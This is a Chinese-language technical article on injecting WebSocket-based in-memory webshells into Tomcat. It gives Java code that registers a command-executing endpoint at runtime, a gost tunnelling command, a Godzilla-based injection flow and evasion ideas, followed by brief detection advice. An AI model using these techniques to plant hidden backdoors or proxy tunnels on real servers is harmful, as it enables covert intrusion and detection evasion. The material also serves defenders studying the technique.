WebSocket 内存马,一种新型内存马技术
字数 1649 2025-08-27 12:33:54
WebSocket 内存马技术详解
1. WebSocket 协议概述
WebSocket 是一种全双工通信协议,允许客户端和服务端双向实时通信。特点包括:
- 客户端和服务端可以互相主动发送数据
- 适用于实时性要求高的场景(如实时通知、在线协作等)
- 主流浏览器和服务端框架(Tomcat、Netty、Undertow、WebLogic等)都支持
2. Java WebSocket 实现标准
JSR356 标准
- Java EE 7 的一部分,是 Java 官方的 WebSocket 编程规范
- Tomcat 7.0.47+ 版本实现了 JSR356 标准
- 早期版本(7.0.47 之前)使用自定义 API
实现方式对比
-
注解方式:使用
@ServerEndpoint注解- 更简洁,自动化程度高
- Tomcat 启动时通过
WsSci的ServletContainerInitializer初始化
-
继承抽象类方式:继承
Endpoint类- 需要手动实现
MessageHandler和ServerApplicationConfig - 提供更细粒度的控制
- 需要手动实现
3. WebSocket 内存马实现原理
核心思路
利用 Tomcat 的 WebSocket 容器动态添加端点,无需注册新的 Listener、Servlet 或 Filter,具有极强隐蔽性。
实现步骤
- 创建
ServerEndpointConfig配置 - 获取 WebSocket
ServerContainer - 将配置添加到容器中
// 1. 创建ServerEndpointConfig
ServerEndpointConfig config = ServerEndpointConfig.Builder
.create(EndpointInject.class, "/ws")
.build();
// 2. 获取ServerContainer
ServerContainer container = (ServerContainer) req.getServletContext()
.getAttribute(ServerContainer.class.getName());
// 3. 添加端点
container.addEndpoint(config);
技术细节
- 通过
ServletContext获取ServerContainer实例 - 动态添加的端点不会在内存马扫描工具中显示异常
- 无需任何第三方依赖,完全基于 JSR356 标准
4. WebSocket 内存马的优势
-
隐蔽性强
- 不注册新的 Listener/Servlet/Filter
- 常规内存马扫描工具难以检测
-
全双工通信
- 双向实时通信,适合交互式操作
- 通信效率高,接近原生 TCP
-
多功能性
- 可执行命令
- 可建立代理通道
- 支持加密通信
5. WebSocket 代理功能实现
应用场景
- 不出网主机的代理通道
- 替代 reGeorg 等传统 Web 代理工具
实现方法
- 注入 WebSocket 代理内存马
- 使用支持 WebSocket 的代理工具连接(如 Gost)
./gost -L "socks5://:1080" -F "ws://127.0.0.1:8080?path=/proxy"
优势
- 全双工通信,速度接近 TCP 代理
- 基于 HTTP/HTTPS 端口,绕过端口限制
- 难以被传统网络设备检测
6. 多功能 WebShell 实现方案
实现要点
-
协议适配
- 需要修改现有 WebShell 管理工具以支持 WS 协议
- 基本逻辑不变,仅替换通信协议
-
两阶段注入
- 第一阶段:通过传统方式(如 JSP)注入 WS 端点
- 第二阶段:通过 WS 连接执行后续操作
-
纯内存注入
- 直接连接 WS 端点,无需依赖 JSP 文件
- 更高隐蔽性
示例流程(以哥斯拉为例)
- 使用原版 JSP 马执行初始化代码
- 发送并注册 WS 端点类
- 建立 WS 连接后加载恶意功能类
7. 防御与检测建议
防御措施
- 禁用不必要的 WebSocket 支持
- 严格限制 WebSocket 端点的注册权限
- 监控动态添加端点的行为
检测方法
- 检查
ServerContainer中的已注册端点 - 监控非常规路径的 WebSocket 连接
- 分析 WebSocket 通信内容特征
8. 技术演进方向
-
协议混淆
- 加密 WebSocket 通信内容
- 模仿合法 WebSocket 流量特征
-
持久化机制
- 结合其他内存马技术实现自动恢复
- 利用容器特性实现端点持久化
-
跨协议利用
- 与 HTTP/HTTPS 协议切换
- 与其他内存马技术结合形成攻击链
附录:关键代码片段
动态添加端点
// 创建端点配置
ServerEndpointConfig config = ServerEndpointConfig.Builder
.create(MaliciousEndpoint.class, "/malicious-path")
.configurator(new CustomConfigurator())
.build();
// 获取并添加端点
ServletContext servletContext = request.getServletContext();
ServerContainer container = (ServerContainer) servletContext
.getAttribute(ServerContainer.class.getName());
container.addEndpoint(config);
恶意端点示例
public class MaliciousEndpoint extends Endpoint {
@Override
public void onOpen(Session session, EndpointConfig config) {
session.addMessageHandler(new MessageHandler.Whole<String>() {
@Override
public void onMessage(String message) {
// 执行恶意操作
try {
String result = executeCommand(message);
session.getBasicRemote().sendText(result);
} catch (IOException e) {
e.printStackTrace();
}
}
});
}
private String executeCommand(String cmd) {
// 命令执行逻辑
}
}
以上内容全面涵盖了 WebSocket 内存马的技术原理、实现方法和应用场景,可作为深入研究和防御该技术的参考文档。